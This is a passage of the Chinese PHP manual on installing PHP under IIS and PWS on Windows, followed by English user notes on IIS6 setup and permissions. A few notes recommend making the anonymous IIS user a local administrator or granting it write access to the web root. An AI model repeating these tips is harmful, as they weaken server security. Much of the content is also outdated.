php_msql.dll | mSQL 函数库 | 需要：msql.dll（已附带）
php_mssql.dll | MSSQL 函数库 | 需要：ntwdblib.dll（已附带）
php_mysql.dll | MySQL 函数库 | PHP >= 5.0.0 需要 libmysql.dll（已附带）
php_mysqli.dll | MySQLi 函数库 | PHP >= 5.0.0 需要 libmysql.dll（PHP <= 5.0.2 中是 libmysqli.dll）（已附带）
php_oci8.dll | Oracle 8 函数库 | 需要：Oracle 8.1+ 客户端库
php_openssl.dll | OpenSSL 函数库 | 需要：libeay32.dll（已附带）
php_oracle.dll | Oracle 函数库 | 需要：Oracle 7 客户端库
php_overload.dll | 对象重载函数库 | 自 PHP 4.3.0 起内置
php_pdf.dll | PDF 函数库 | 无
php_pgsql.dll | PostgreSQL 函数库 | 无
php_printer.dll | 打印机函数库 | 无
php_shmop.dll | 共享内存函数库 | 无
php_snmp.dll | SNMP 函数库 | 仅用于 Windows NT！
php_soap.dll | SOAP 函数库 | PHP >= 5.0.0
php_sockets.dll | Socket 函数库 | 无
php_sybase_ct.dll | Sybase 函数库 | 需要：Sybase 客户端库
php_tidy.dll | Tidy 函数库 | PHP >= 5.0.0
php_tokenizer.dll | Tokenizer 函数库 | 自 PHP 4.3.0 起内置
php_w32api.dll | W32api 函数库 | 无
php_xmlrpc.dll | XML-RPC 函数库 | PHP >= 4.2.1 需要 iconv.dll（已附带）
php_xslt.dll | XSLT 函数库 | PHP <= 4.2.0 需要 sablot.dll，expat.dll（已附带）。PHP >= 4.2.1 需要 sablot.dll，expat.dll，iconv.dll（已附带）。
php_yaz.dll | YAZ 函数库 | 需要：yaz.dll（已附带）
php_zip.dll | Zip 文件函数库 | 只读访问
php_zlib.dll | ZLib 压缩函数库 | 自 PHP 4.3.0 起内置

add a note add a note User Contributed Notes
hevesir at t-mobile dot hu
07-Apr-2006 04:54
If You try to install PHP5 to IIS6 with Oracle....

Then You need some kind of pilot-exams, not for big planes, just a little one.

So: After installations (php.ini is correct see above ie.: extenstion = php_oci8.dll etc)

If You use anonymous access, You'll  have a builtin user to use it. Make this user local administrator, or give minimum read access to PHP folder (ie.: c:\php) and ORAHOME (ie. c:\ora92) folders.

If You use Windows Integrated authentication, give for Domain Users minimum read access to PHP folder (ie.: c:\php) and ORAHOME (ie. c:\ora92) folders.

Goog luck.
sopp_ladios at hotmail dot com
20-Aug-2004 12:35
[editor note: this should be fixed in PHP 5.1.0]

The order of the extensions listed in php.ini is causing problems... one must check that a particular extension A is enabled and above extension B if B requires A to be enabled.
The original ordering doesnt make sure that this always happens (ie, A is above B)

I came into this problem when I tried to enable the exif extension under windows. I knew mbstring is required but I kept getting errors even after I enabled both.
The problem can only be fixed by moving the mbstring line above the exif line...
add a note add a note

后退 | 起点 | 前进
从源程序编译 | 上一级 | PECL 扩展库安装


Microsoft IIS／PWS

本节包括针对 IIS（Microsoft Internet Information Server）的说明与提示。

警告

如果使用 CGI 方式安装，则服务器对于某些可能的攻击是开放的。请阅读 CGI 安全一章以学习如何防御这些攻击。

PHP 与 IIS 安装的通用事项

  • 首先请阅读手工安装步骤。不要跳过这一步，这里提供了将 PHP 安装到 Windows 中的极其重要的信息。

  • CGI 用户必须在 php.ini 中将 cgi.force_redirect 指令设为 0。其重要细节请阅读 FAQ 中的cgi.force_redirect。此外，CGI 用户可能需要设定 cgi.redirect_status_env 指令。在使用这些指令时，确保它们没有在 php.ini 中被注释掉。

  • PHP 4 的 CGI 文件名是 php.exe 而在 PHP 5 中是 php-cgi.exe。在 PHP 5 中，php.exe 是 CLI 版本，不是 CGI。

  • 修改 Windows 的 PATH 环境变量以把 PHP 目录包括进去。这样 PHP 的 DLL 文件，可执行文件和 php.ini 就都可以保留在 PHP 目录中而不用把 Windows 系统目录搞乱了。更多细节见 FAQ 中的设定路径 PATH。

  • IIS 专用用户（通常为 IUSR_MACHINENAME）需要能够读取各个文件和目录的权限，例如 php.ini，docroot 和 session 的 tmp 目录。

  • 确保在 php.ini 中正确设定了 extension_dir 和 doc_root 指令的值。这些指令依赖于 PHP 被安装的系统。在 PHP 4 中，extension_dir 是 extensions 而在 PHP 5 中是 ext。因此在 PHP 5 中 extensions_dir 的一个取值例子是 "c:\php\ext"，IIS 的 doc_root 的取值例子是 "c:\Inetpub\wwwroot"。

  • PHP 扩展库的 DLL 文件，如 php_mysql.dll 和 php_curl.dll，存放于 PHP 下载的 ZIP 包中（自动安装包里没有）。在 PHP 5 中，很多扩展库都是 PECL 的一部分，可以从“Collection of PECL modules”包中下载，例如 php_zip.dll 和 php_ssh2.dll。点击进入 PHP 下载页。

  • 在定义应用程序扩展名映射时，应选中“检查文件是否存在”。以极小的性能为代价，IIS（或者 PWS）会在调用 PHP 之前检查脚本文件是否存在并选出认证方法。这意味着 web 服务器会提供一个有道理的 404 形式错误信息而不是一条 CGI 错误说什么 PHP 没有输出任何数据。

Windows NT／200x／XP 和 IIS 4 或更高版本

PHP 可以安装为 CGI 或者 ISAPI 模块。不管哪种，都需要启动 Microsoft 管理控制台（也可能是“Internet 信息服务”，在 Windows NT 4.0 Option Pack 中或者在 Windows 2000/XP 下的控制面板=>管理工具）。然后右键点击 web 服务器节点（通常为“默认网站”），并选择“属性”。

如果想用 CGI 方式，按如下方法进行：

  • 选择“主目录”，“虚拟目录”或“目录”标签页，然后进行：

  • 将执行权限改为“纯脚本”

  • 点“配置”按钮，选择“映射”标签页。点击“添加”按钮，将“可执行文件”指向适当的 CGI 文件名。例如 PHP 5 的值可能是：C:\php\php-cgi.exe。在“扩展名”中填入 .php。选择“全部动作”（或者“限制为”留空），选中“脚本引擎”。然后点击“确定”。

  • 设定合适的目录安全性（在 Internet 信息服务中完成）。如果 NT 服务器使用 NTFS 文件系统，给 I_USR_ 用户加上 php.exe/php-cgi.exe 文件所在目录的可执行权限（通过资源管理器完成）。

要用 ISAPI 模块方式，按如下方法进行：

  • 如果不想用 PHP 进行 HTTP 认证，应该跳过这一步。在“ISAPI 筛选器”标签页中添加一个新的 ISAPI 筛选器。“筛选器名称”设为 PHP，“可执行文件”设为 php4isapi.dll/php5isapi.dll 的路径。

  • 选择“主目录”，“虚拟目录”或“目录”标签页，然后进行：

  • 将执行权限改为“纯脚本”

  • 点“配置”按钮，选择“映射”标签页。点击“添加”按钮，将“可执行文件”指向适当的 ISAPI DLL。例如 PHP 5 的值可能是：C:\php\php5isapi.dll。在“扩展名”中填入 .php。选择“全部动作”（或者“限制为”留空），选中“脚本引擎”。然后点击“确定”。

  • 完全停止 IIS（NET STOP iisadmin）

  • 重新启动 IIS（NET START w3svc）

对于 IIS 6（2003 Server），打开 IIS 管理器，进入 web 服务扩展，点击“添加一个新的 web 服务扩展”，“扩展名”中输入名称，例如 PHP，再点击“添加”按钮，点击“浏览”选择要么 ISAPI 文件（php4isapi.dll 或 php5isapi.dll）或者 CGI 文件（php.exe 或 php-cgi.exe）作为“文件路径”后点“确定”，然后选中“设置扩展状态为允许”并点“确定”。

要使用 index.php 作为默认文档，在“文档”标签页中选择“添加”。输入 index.php 并点“确定”。用上下箭头按钮调整顺序。这和在 Apache 中设定 DirectoryIndex 相似。

对于每个要关联为 PHP 脚本的后缀都要重复以上步骤。.php 是最常用的，此外为兼容一些遗留下来的老程序可能还需要加上 .php3。

如果过些时候之后碰到 CPU 占用率达到 100%，则取消选中“缓存 ISAPI 应用程序”（“主目录”下点“配置”按钮”）。

Windows 和 PWS 4

PWS 4 不支持 ISAPI，只能使用 PHP CGI。

  • 编辑包里附上的 pws-php4cgi.reg/pws-php5cgi.reg 文件（PHP 4 在 SAPI 目录下，PHP 5 在主目录下）改为自己的 php.exe/php-cgi.exe 文件的路径。反斜线应双写，例如：[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\w3svc\parameters\Script Map] ".php"="C:\\php\\php.exe"（如果用 PHP 5 则改为 C:\\php\\php-cgi.exe）。然后将此注册表文件合并入系统；鼠标双击此文件即可。

  • 在 PWS 管理器中，右键点击需要加入 PHP 支持的目录并选择“属性”。选中“执行”，并确认。

Windows 和 PWS／IIS 3

配置此服务器的推荐方法是使用随包发布的注册表文件（PHP 4 是 SAPI 目录下的 pws-php4cgi.reg，PHP 5 是主目录下的 pws-php5cgi.reg）。可能要编辑此文件已确保其中的 PHP 安装目录和扩展库目录符合用户自己的设置。或者按以下步骤手工完成。

警告

以下步骤涉及到直接操作 Windows 注册表。如果出错可能使系统不稳定，强烈建议先备份注册表。如果用户损坏了注册表 PHP 开发组不负任何责任。

  • 运行 Regedit。

  • 找到：HKEY_LOCAL_MACHINE /System /CurrentControlSet /Services /W3Svc /Parameters /ScriptMap。

  • 在编辑菜单选择：新建->字符串值。

  • 输入 PHP 脚本想要使用的后缀，例如 .php。

  • 双击新建的字符串值并在“数值数据”栏里输入 php.exe 的路径，例如 PHP 4 是 C:\php\php.exe "%s" %s，或者 PHP 5 是 C:\php\php-cgi.exe "%s" %s。

  • 对每个要关联为 PHP 脚本的文件后缀名重复以上步骤。

以下步骤不影响 web 服务器安装，仅适用于想在命令行下运行 PHP 脚本（例如运行 C:\myscripts\test.php）或者在资源管理器窗口中双击文件名就运行程序。如果更希望双击 PHP 文件名是将其调入文本编辑器，则跳过以下步骤。

  • 找到：HKEY_CLASSES_ROOT。

  • 在编辑菜单选择：新建->项。

  • 将新项命名为前一节设的后缀，例如：.php。

  • 选中新项，在右边栏双击“默认”并输入 phpfile。

  • 对每个在前一节设定的后缀都重复以上步骤。

  • 在 HKEY_CLASSES_ROOT 下再创建另一个新建->项 并命名为 phpfile。

  • 选中新项 phpfile，在右边栏双击“默认”并输入 PHP Script。

  • 右键点击 phpfile 项并选择新建->项，命名为 Shell。

  • 右键点击 Shell 项并选择新建->项，命名为 open。

  • 右键点击 open 项并选择新建->项，命名为 command。

  • 选中新项 command，在右边栏双击“默认”并输入 php.exe 的路径，例如：c:\php\php.exe -q %1（不要忘了 %1）。

  • 退出 Regedit。

  • 如果是 Windows 下的 PWS，重启动以重新加载注册表。

PWS 和 IIS 3 的用户现在就拥有了完全可运作的系统。IIS 3 用户可以使用来自 Steven Genusa 的漂亮工具来配置脚本映射。

add a note add a note User Contributed Notes
sschefer at scheferonline dot net
29-May-2006 02:56
I have sucessfully installed PHP 4 and 5 on every windows server version since 2000 (not NT4) and XP. It is simple but there are a couple of pre-requisites that I've never seen mentioned.

1. Most of the problems folks are experiencing on the server side are .NET 2.0 induced. If you must run .NET 2.0 then you need dll's that were compiled with Visual Studio 8. The big push behind VS.8 and the Express editions is to get you off of PHP and onto C#. Keep that in mind when you develop apps.

2. You can run .NET 2.0 and Visual studio on XP with PHP and IIS if you install Visual Studio first. Visual studio installs its own dedicated version of IIS that works with .NET 2.0 but will not run php. After VS is installed go ahead and install the included XP version of IIS and configure your virtual sites with PHP. If you do it the other way around, VS will incorporate itself into the xp IIS and your PHP will probably not run.

3. Put the PHP ini file where windows wants it, in the (system root) "c:\windows" dir. If you do that,  and you are using only the ISAPI dll's, you just need to change the ini file to point to the ext directory correctly and it will run fine. I usually do all the pathing recommendations and set phprc=(php directory) too. I also leave a copy of the current ini file in the php directory root just incase php forgets to consult with the OS before looking for something.

Most of the problems with permissions are comming from .NET 2.0. You should never have to weaken security to get PHP to run.

4. Slightly out of scope but important nonetheless. If you do not run .NET 2.0, the ordering of your extensions (ie..mysql.dll, etc.) becomes far less important. You may see a hang occasionally but its rare.

Hope this helps someone.
Steve
legolas558_AT_users dot sourceforge.net
13-May-2006 12:07
How to solve the nasty "permission denied" under IIS (Windows xp)

From http://www.geocities.com/legolas.1558/php_iis_permission_denied.htm

   1. Did you disable Simple File Sharing? From any folder click Tools -> Folder Options -> View (tab)-> (scroll the list and find "Simple File Sharing (reccomended)") UNTICK IT
   2. Locate your localhost root directory, usually C:\InetPub\wwwroot\
   3. Open the Properties of the whole directory, in our case wwwroot
   4. Click the Protection tab(where to manage user rights)
   5. Click Add and then click Advanced (button in the bottom-left part of the window)
   6. Click Find (the only enabled button between Columns and Stop)
   7. Pick the user that starts with IUSR_ (which is the IIS default user) from the list Windows has kindly found for you
   8. push OK twice
   9. the new added IUSR_ will be selected, from the Authorizations list check Edit (to allow file creation/deletion) and Write (to allow file modify)
  10. click OK one more time to get back to your native folder
EvilPuppetMaster
24-Mar-2006 11:39
After having recently gone through a long process of trial and error installing both php4 and php5 on a single machine under IIS. I eventually did get it working so I thought I'd share what I learnt.

Basically, as far as I can tell there is no way to get both versions working using the ISAPI dlls unfortunately. You can however get them working using one as ISAPI and the other as CGI. And probably both as CGI too, although I didn't try that.

You'll need to know how to do a manual install of PHP anyway, see the instructions for how to do that. Make sure you follow the steps about your PATH env variable and Allowing extensions on IIS 6. Keep your php.inis in the relevant php directory and make sure they are not in your windows or system32 folders. And all that other hoopla.

The crucial part is your php.ini files. The problem being that both versions will look at your PHPRC setting and get the ini file path from that. So you'll end up with both versions running off the same INI which is no good. The way around this is to use the CGI for one version and ISAPI for the other.

The ISAPI dll never seems to look in it's own directory for the ini file, but the CGI exe does. You can use that quirk to your advantage by naming the INI file for the ISAPI version 'php-isapi.ini' and setting the PHPRC environment variable to that path. Then for the CGI version keep the php.ini in the same directory as php.exe.

Then set your virtual server to use either the ISAPI module for one version, or the CGI module for the other version, and it should work. Test using phpinfo() to ensure each version is getting it's ini file from the correct place.

Basically it seems that the ISAPI module will look in the path set in PHPRC first, and choose the php-isapi.ini file. The CGI module will look in PHPRC first too, but it upon seeing no php.ini it will then move on to search it's own directory, where it finds php.ini.
Martu
24-Mar-2006 09:07
I have fixed the 404 with this message found at google groups:

-----------------------------------------------------------
I could not get PHP pages to display in IIS 6 with Windows 2003, using the
default install of the stable binaries from php.net.

Here is the solution I found.

The default install registers the .php extension as belonging to
c:\php\php.exe.  This is correct, but it's faster to use the ISAPI
extension.

To do this,
1. Open the IIS Management console
2. Expand the server, right click on "Web Sites" and click Properties
3. Open the "ISAPI Filters" foldertab
4. Click Add
5. Enter PHP in the Filter Name box.
6. Click Browse and then Browse to your php4isapi.dll.
6. Click ok -> Apply -> ok

... Once this is completed, your PHP scripts still won't run.  The problem
is that you have to define and enable PHP as a "Web Service Extension".

To do this,
1. Open the IIS Management console
2. Expand the server, and expand the "Web Services Extensions"
3. Click "Add a new Web services Extension"
4. Enter PHP in the Extension Name box.
5. In the required files box, Browse to your php directory and add
php4isapi.dll.
6. Click ok -> Apply -> ok

Last but not least, You may or may not need to do the following,
-Set the extensions path in the php.ini file if you are going to use any
extensions , i.e.  php_mssql.dll
-I had to copy the php4isapi.dll from c:\php\isapi to c:\php, YMMV
-Give the webserver user (IUSR_MACHINENAME in most cases) read and execute
access to php4isapi.dll and php4ts.dll

Good Luck,
Ejay Hire
EjayH...@hotmail.com
----------------------------------------------------------
paul_noeldner at hotmail dot com
04-Oct-2005 10:58
PROBLEM
   PHP $DOCUMENT_ROOT was not set in IIS.
ANALYSIS
   A Google search turned up a suggestion re using ISAPI instead of CGI.
SOLUTION
I did the fix per these suggested steps from Google search:
1 Downloaded PHP5 zip
2 Added ISAPI filter PHP5ISAPI.DLL named PHP
3 Changed document type .php to point at the PHP5ISAPI.DLL file instead of PHP.EXE.
RESULT
This worked - the php pages started picking up $DOCUMENT_ROOT as expected.
General suggestion: Don't waste time with CGI, use ISAPI.
Jamez
23-Sep-2005 08:29
PHP 5, IIS 5, Win XP:

One thing to note: if you run phpinfo() and the 'Configuration File (php.ini) Path' points to a directory and not the actual file (ie. C:\\windows instead of C:\\windows\\php.ini) this means that it is not using your php.ini file, it is using default settings.

After spending hours searching forums the only thing that got it to work for me was to create a new environment system variable called 'PHPRC' and set it to the path where your php.ini is located (ie C:\\PHP) - simply adding C:\\PHP to the system path variable didn't do it. You have to reboot after this change of course. I'm not sure why this isn't more documented as from my searching there are quite a few people who experience this problem... hope this helps!
webwhammy.com
16-Sep-2005 07:53
After installing PHP and running an http://localhost/test.php file in my browser, I encountered a COM Surrogate error. After some testing, I found that it was a result of un-checking the Cache ISAPI applications checkbox. Consequently, make sure that the Cache ISAPI applications checkbox has a check in it. To get to the checkbox go to:

Control Panel>Administrative Tools>Internet Information Services

When you are at the IIS window in the left navigational panel go to:

Local Computer>Web Sites>Default Web Site

Right-click on your default web site and select Properties. A Properties window appears. Select the Home Directory tab. Click on the Configuration... button. A Configuration window appears. Below the Mappings tab is the Cache ISAPI applications checkbox.

Again, make sure that the Cache ISAPI applications checkbox has a check in it. I hope this helps anybody else with a similar problem.
Mac Rinehart
08-Sep-2005 12:14
"Click on the 'Configuration' button, and choose the Application Mappings tab. Click Add and set the Executable path to the appropriate CGI file. An example PHP 5 value is: C:\php\php-cgi.exe Supply .php as the extension. Leave 'Method exclusions' blank, and check the 'Script engine' checkbox. Now, click OK a few times."

When installing PHP 5 on IIS 6.0 and Windows 2003 I encountered problems with this instruction. I  believe the root cause is that IIS requires the "scripts and executables" execute permission to be selected if the script engine has a .exe extension.

However, there may have been additional problems. Even when selecting the "scripts and executables" execute permission I continually received HTTP Header errors. The resolution was to follow the instructions for use of php5isapi.dll. The .dll extension can be run with the "scripts only" execute permission. Also remember IIS 6.0 requires that you identify Web Extensions and Allow execution of those extensions.
peter at peterguy dot com
01-Apr-2005 02:43
Installing PHP 5 on Windows Server 2003/IIS6

It has come to my attention that the link to my PHP installation guide in my posting of 07-Feb-2005 11:49 is a Bad Link.
We don't like Bad Links.

Here's the correct one:

http://www.peterguy.com/php/install_IIS6.html

Enjoy!

-Peter
Marat
17-Mar-2005 05:50
The correct required NTFS ACL's are:

- for the folder holding your PHP files:
   [Read] IUSR_servername
   [Read] IWAM_servername

-for the folder holding the PHP executables:
   [Read] IUSR_servername
Person who wants ISAPI version installer
25-Feb-2005 05:59
Supplementation to the previous hint

The environment is Windows 2003 Server/IIS 6/PHP 5.

About IIS 6 of Windows XP.

 There is no 'IISEXT.VBS'.
 It seems not to have to add it to the Web enhancing
 (It is not an accurate intelligence ).
 Moreover, when the method argument of iis6
 isapimap add is omitted, it becomes an error.
 Specify it following and specifying it.

   iis6isapimap add .PHP C:\PHP\php5isapi.dll GET,POST,HEAD

Good Luck !
Person who wants ISAPI version installer
24-Feb-2005 05:34
Hint registered to IIS 6 as ISAPI without using GUI.
(It is a machine translation from Japanese to English. )

[Method of addition to Web enhancing]

'IISEXT.VBS' is attached to IIS 6.

  <addition example>

   iisext /AddFile C:\PHP\php5isapi.dll 1 PHP 1 "PHP: Hypertext Preprocessor"

  <deletion example>

   iisext /RmFile  C:\PHP\php5isapi.dll

[Method of adding extension to Application Mappings]

To our regret, there is no good method in the standard. :-(
The source code of C# program that is registered and deleted is presented in the mapping.
(It is hoped that someone writes VBScript or the JScript version)

  <addition example>

   iis6isapimap add .PHP C:\PHP\php5isapi.dll

 < deletion example>

   iis6isapimap delete .PHP

C# source code
(Add 'System.DirectoryServices' to the reference)
------------------------------------------------------------
using System;
using System.Collections;
using System.DirectoryServices;

namespace IIS6ISAPIMAP

{
   class StartClass
   {
       public static void print_man()
       {
           Console.WriteLine("IIS6ISAPIMAP [view|add|delete] <.ext> <ISAPI DLL PATH> (METHOD LIST)");
       }

       [STAThread]
       static void Main(string[] args)
       {
           if ( args.GetLength(0) < 1 )
           {
               print_man();
               return;
           }

           System.DirectoryServices.DirectoryEntry dent
               = new DirectoryEntry("IIS://localhost/W3SVC/1/root");
           ArrayList orglist
               = new ArrayList( dent.Properties["ScriptMaps"] )  ;

           if ( args[0].ToLower() == "view" )
           {
               foreach(string s in orglist)
               {
                   Console.WriteLine(s);
               }
           }
           else if ( args[0].ToLower() == "add" )
           {
               if ( args.GetLength(0) < 3 )
               {
                   print_man();
               }
               else
               {
                   ArrayList newlist = new ArrayList();
                   string ext = args[1];
                   string path = args[2];
                   string methods = args.GetLength(0) < 4 ? "" : args[3];
                   string newmap = ext + "," + path + ",5," + methods;

                   foreach(string s in orglist)
                   {
                       string [] tokn = s.Split(',');
                       if ( tokn[0].ToLower()  != ext.ToLower() )
                       {
                           newlist.Add( s );
                       }
                   }
                   newlist.Add( newmap );

                   dent.Properties["ScriptMaps"].Value = newlist.ToArray();
                   dent.CommitChanges();
               }
           }
           else if ( args[0].ToLower() == "delete" )
           {
               if ( args.GetLength(0) < 2 )
               {
                   print_man();
               }
               else
               {
                   ArrayList newlist = new ArrayList();
                   string ext = args[1];

                   foreach(string s in orglist)
                   {
                       string [] tokn = s.Split(',');
                       if ( tokn[0].ToLower()  != ext.ToLower() )
                       {
                           newlist.Add( s );
                       }
                   }

                   dent.Properties["ScriptMaps"].Value = newlist.ToArray();
                   dent.CommitChanges();
               }
           }
           else
           {
               print_man();
           }

           dent.Dispose();
       }
   }
}
php at at dougdossett dot com
07-Jan-2005 03:05
I had problems upgrading to 5.0.3 isapi on my IIS 6/Windows 2003 server.  Most of the instructions I found said to give the IUSR account access to various files/folders.  In my case I needed to give access to "Network Service" (not to be confused with just "Network").

1. In IIS Admin, go to Application Pools
2. Right click on the pool your site is running under and click properties.
3. Go to the Identity tab and see what user is selected.
4. Give that user permissions to your php files/directory.

Don't know if this will help anyone else, but thought I'd offer in case.
megawhizzz at netscape dot com
12-Oct-2004 07:19
Path references (e.g. for browscap.ini) in php.ini MUST be enclosed with double-quotes (") instead of single-quotes(') for PHP to load correctly under IIS
paul at heisholt dot net
31-Aug-2004 04:43
There's a bug in IIS 5.1 which may prevent you from adding an Application Extension Mapping. If the OK button remains disabled after you've entered the Executable and the Extension, try this workaround provided by Microsoft:

1. Right-click the individual Web site or the Web Sites folder, and then click Properties.
2. On the Home Directory tab, click Configuration.
3. Under Application Configuration, click Add, and then click the Mappings tab.
4. With the Add/Edit Application Extension Mapping dialog box open, click Browse to select the .exe file or the .dll file from the local path on the Web server.

Note:
You must type the path to a valid file in the Executable text box or the OK button remains unavailable. The easiest way to make sure that you enter a valid path is to select the file by using the Browse button.

5. After the path appears in the Executable text box, click in the Executable text box to initialize the path.

6. Click in the Extension space, and then type the file name extension.

Note:
- You must enter the period (.) in front of the extension in the Extension text box, or the OK button remains unavailable.

7. When the OK button becomes active, click OK to continue.

Source: http://support.microsoft.com/?id=317948

-paul-
webmaster at avalon dot de
13-Aug-2004 10:55
If you use IIS6 you have to add a new Webextension for PHP to work, otherwise you will get a "404"-Page if you try to point your browser to a "*.php" file.
In order to do this you have to open the IIS-management console and open the "local computer".
Under "webextensions" you will find allready a list with different extensions all being blocked by default.
To get PHP to work you have to manually add a new webextension. I only have a german version of IIS in front of me so forgive me if i translate the buttons wrongly.
Click on "New webextension". Enter any name you like for your new extension. Click on "Add..." and then on "Search...". If you would like to add the DLL just browse to your PHP-directory and you will find the php5ts.dll. If you search for the php-cgi.exe you have to change the filetype at the bottom to "CGI-Exe-Files". Only after changing the filetype you can see the php-cgi.exe file and choose it for the extension.
If you check the checkbox at the bottom of the "New extension" Window it will allow the newly added extension to be executed. Certainly you can change the status any time you want by clicking on "Allow".
Only after that procedure you will be able to get in touch with PHP-files.

sincerely
Juergen Sommer
venimus at mail dot com
07-Jun-2004 10:57
Under IIS6 (and earlier)
After all the installation, do not forget to add "index.php" as default page, under the Documents tab in the Web Site's Properties.
1. Right-click Web Sites, choose Properties
2. Click Documents tab
3. Click Add...
4. Type index.php, click Ok
5. Choose "index.php" from the list and move it to the top using Move Up button.
6. Make sure "Enable default content page" is checked.

Ofcourse you can add other pages as default.

For those that do not know what is this for: If you do not provide full URL and you have several pages in the directory which are in this list, the server will return the topmost of them. In case you wish to open other page of them, you have to provide its full URL. Putting "index.php" on top will make sure no other pages will be returned as default.
jorrit at gameparty dot net
02-Jun-2004 07:33
If you experience extreme high loading times, please have a look at this http://bugs.php.net/bug.php?id=28524
tstirrat AT optusnet DOT com DT au
21-Apr-2004 11:14
I am running Active Directory & IIS6.0

I found that after looking through the tutorial below i was still unable to get into my site (authentication popup, 401.3 error). I set my permissions for read & execute for IUSR_(server) and IIS_WPG for both my document root and the php directory.. no luck.

However, here's how i solved the problem. (I believe this solution is relevant to fixing the active directory issue)

1. You want to give the IUSR_* and IIS_WPG read & execute permission to the PHP DIRECTORY ONLY. (I managed to remove the credentials from my document root and it still works.

2. Open IIS Manager and go to Application Pools, then to the pool which is relevant to your site (in my case DefaultAppPool).. on this item, right click and choose properties.

3. Now navigate to the identity tab.

4. My Worker process was set to Predefined: Network Service. I changed this to Configurable: IWAM_(server name) (which if you noticed is in the user group 'IIS_WPG')

Note: i also changed the passwords for my IUSR_* and IWAM_* accounts to be sure they werent set to something easy by default. Its probably a good idea to do this too.

Hope this solves someones frustration.
giunta dot gaetano at sea-aeroportimilano dot it
12-Feb-2004 09:32
If some extensions (such as OCI or Turck mmcache in FastCGI mode) have trouble functioning with PHP+IIS, make sure that "Allow IIS to Control Password" is unchecked in the preferences panel for anonymous user access.

For more detail on the issue, read articles 216828 and 218756 in the MS Knoweledge Base.
Aaron Blew
12-Feb-2004 04:24
Under IIS 6, don't forget that you have to add all the PHP modules you'd like to run to the PHP Web Service Extension part under the IIS management console.
webmaster at riachao dot com
12-Aug-2003 09:49
In the installation with IIS 6.0, after you add the isapi extension, you need to allow the extension in the Web Services Extensions, or you 'll get a 404 error.
nbrookins at cbwstores dot com
11-Apr-2003 12:16
On Windows Server 2003 (formerly .net server) with IIS 6 (final RTM - build 3790)

 I got PHP working by using one of the tips above (thanks!).

I noted however, that I did not need to 'allow unknown Isapi applications' , and I was able to keep the configuration at 'Scripts Only' instead of 'Scripts and Executables'  - both settings are potentially more secure this way.

The only configuration that is different from how I normally configure PHP on IIS 5 is the addition of PHP as a Web Service Extension.
jdogg00 at msn dot com
04-Nov-2002 12:50
Here's a quick fyi, to get PHP installed on .Net Server w/ IIS 6 you have to use the IIS manager to enable support for different web service extentions. CGI ,ASP, ISAPI are all prohibited by default. In IIS manager click on the Web Service Extentions Folder there's options to add a new extention , prohibit all extentions etc. I chose add new extention ,in the dialog box I named it PHP , click add , in the next dialog browse to path of 'php4isapi.dll' hit ok then mark checkbox "Set extention status Allowed"  hit ok and all is good. This was done after I followed the install.txt for IIS 4 or newer .
greg at wfrmls dot com
23-Jan-2001 01:12
When using WindowsNT 4.0 and IIS, the WWW home directory needs to have Read AND Execute access rights.
add a note add a note

后退 | 起点 | 前进
ActiveScript | 上一级 | Microsoft Windows 下的 Apache 1.3.x


手工安装步骤

本安装指南指导手动在一个 Microsoft Windows 的 web 服务器下安装和配置 PHP。安装前需要从 http://www.php.net/downloads.php 下载 PHP 的 ZIP 二进制发布包。

虽然目前有很多多合一的安装包，而且也发布了一个 Microsoft Windows 的 PHP 安装程序，但是仍然建议用户花些时间自己手动安装 PHP。因为这样才可以更加了解这套系统，并能够在需要的时候更方便的安装 PHP 扩展。

从旧版本的 PHP 升级: 上一版的手册建议将 ini 和多个 DLL 文件移动到系统文件夹（例如 C:\WINDOWS）。这一步骤虽然简化了安装过程，却导致升级上的困难。建议在使用新版本的 PHP 前删除所有这些文件（比如从 Windows 系统文件夹删除 php.ini 和 PHP 相关的 DLL 文件）。务必在删除前备份这些文件，因为这一操作可能破坏整个系统。原有的 php.ini 在安装新版本的 PHP 时也可用来参考。不久用户便会明白，安装 PHP 最好的方式便是将所有 PHP 有关的文件都放入同一目录，并在系统的 PATH 环境变量中设置此目录。

MDAC 需求: 如果使用 Microsoft Windows 98/NT4，需要下载适用于系统最新版本的 Microsoft Data Access Components（MDAC）。MDAC 可在 http://msdn.microsoft.com/data/ 下载。需要 MDAC 的原因是 Windows 二进制包中编译进了 ODBC 支持。

不论何种 web 服务器，都需要先进行以下步骤：

将 PHP 压缩包释放到选择的目录中。若使用 PHP 4，可以解压缩到 C:\，压缩包会被释放到一个类似 php-4.3.7-Win32 的新目录中。若使用 PHP 5，请解压缩到 C:\php，因为其 ZIP 包内没有类似 php-4.3.7-Win32 的目录信息。可以选择其它的路径但最好不要用中间有空格的路径（例如：C:\Program Files\PHP 就不太好），如果这样做有些 web 服务器会崩溃。

解压缩后的目录对应 PHP 4 和 5 是不同的。它们的目录结构分别为：

例子 6-1. PHP 4 目录结构

c:\php
   |
   +--cli
   |  |
   |  |-php.exe           -- CLI 可执行程序 - 仅使用在命令行脚本
   |
   +--dlls                -- 某些扩展需要的 DLL 文件
   |  |
   |  |-expat.dll
   |  |
   |  |-fdftk.dll
   |  |
   |  |-...
   |
   +--extensions          -- PHP 的扩展 DLL 文件
   |  |
   |  |-php_bz2.dll
   |  |
   |  |-php_cpdf.dll
   |  |
   |  |-..
   |
   +--mibs                -- SNMP 支持文件
   |
   +--openssl             -- Openssl 支持文件
   |
   +--pdf-related         -- PDF 支持文件
   |
   +--sapi                -- SAPI（服务器模块支持）DLL 文件
   |  |
   |  |-php4apache.dll
   |  |
   |  |-php4apache2.dll
   |  |
   |  |-..
   |
   +--PEAR                -- PEAR 的初始复本
   |
   |
   |-go-pear.bat          -- PEAR 安装脚本
   |
   |-..
   |
   |-php.exe              -- CGI 可执行文件
   |
   |-..
   |
   |-php.ini-dist         -- 默认的 php.ini 设置
   |
   |-php.ini-recommended  -- 推荐的 php.ini 设置
   |
   |-php4ts.dll           -- 核心 PHP DLL 文件
   |
   |-...

或：

例子 6-2. PHP 5 目录结构

c:\php
   |
   +--dev
   |  |
   |  |-php5ts.lib
   |
   +--ext                 -- PHP 的扩展 DLL 文件
   |  |
   |  |-php_bz2.dll
   |  |
   |  |-php_cpdf.dll
   |  |
   |  |-..
   |
   +--extras
   |  |
   |  +--mibs             -- SNMP 支持文件
   |  |
   |  +--openssl          -- Openssl 支持文件
   |  |
   |  +--pdf-related      -- PDF 支持文件
   |  |
   |  |-mime.magic
   |
   +--pear                -- PEAR 的初始复本
   |
   |
   |-go-pear.bat          -- PEAR 安装脚本
   |
   |-fdftk.dll
   |
   |-..
   |
   |-php-cgi.exe          -- CGI 可执行文件
   |
